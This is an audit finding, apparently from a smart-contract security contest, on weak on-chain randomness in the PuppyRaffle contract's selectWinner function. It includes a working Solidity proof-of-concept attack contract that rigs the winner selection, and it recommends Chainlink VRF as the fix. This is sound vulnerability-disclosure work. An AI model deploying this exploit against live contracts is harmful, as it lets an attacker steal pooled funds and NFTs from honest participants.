The selectWinner() function uses keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)) for winner selection and keccak256(abi.encodePacked(msg.sender, block.difficulty)) for rarity determination. Both entropy sources are predictable and manipulable:
block.difficulty is deprecated post-Merge (EIP-4399) and replaced by prevrandao which is also manipulable by validators
block.timestamp can be influenced by miners/validators within ~15 seconds
msg.sender is known to the caller
The same caller who invokes selectWinner() controls the entropy inputs
An attacker can compute the exact winner index and rarity before calling the function, allowing them to only call when they win a legendary puppy.
Likelihood:
Occurs every time selectWinner() is called
Attacker can pre-compute outcome off-chain and only submit transaction when favorable
Impact:
Complete predictability of raffle outcome
Attacker can guarantee winning legendary NFTs
Undermines the entire fairness premise of the protocol
Financial loss for honest participants
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
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